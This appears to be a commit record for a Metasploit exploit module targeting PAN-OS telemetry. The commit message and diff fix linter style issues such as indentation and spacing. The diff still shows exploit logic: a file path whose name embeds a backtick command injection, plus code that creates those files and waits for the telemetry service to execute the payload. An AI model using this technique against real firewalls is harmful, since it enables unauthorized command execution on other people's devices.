Addressing msftidy issues

C:132: 20: [Correctable] Layout/SpaceAroundBlockParameters: Space before first block parameter detected.
C:132: 30: [Correctable] Layout/SpaceAroundBlockParameters: Space after last block parameter detected.
C:133:  5: [Correctable] Layout/IndentationWidth: Use 2 (not 4) spaces for indentation.
C:143:  4: [Correctable] Layout/TrailingEmptyLines: Final newline missing.

Author: remmons-r7

modules/exploits/linux/http/panos_telemetry_cmd_exec.rb

@@ -129,15 +129,15 @@ def exploit
       "/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`"
     ]
 
-    files.each do | file_path |
-        vprint_status("Creating file at #{file_path}")
-        touch_file(file_path)
+    files.each do |file_path|
+      vprint_status("Creating file at #{file_path}")
+      touch_file(file_path)
 
-        # Must register for clean up here instead of within touch_file, since touch_file is used in the check
-        register_file_for_cleanup(file_path)
+      # Must register for clean up here instead of within touch_file, since touch_file is used in the check
+      register_file_for_cleanup(file_path)
     end
 
     print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
     print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
   end
-end
+end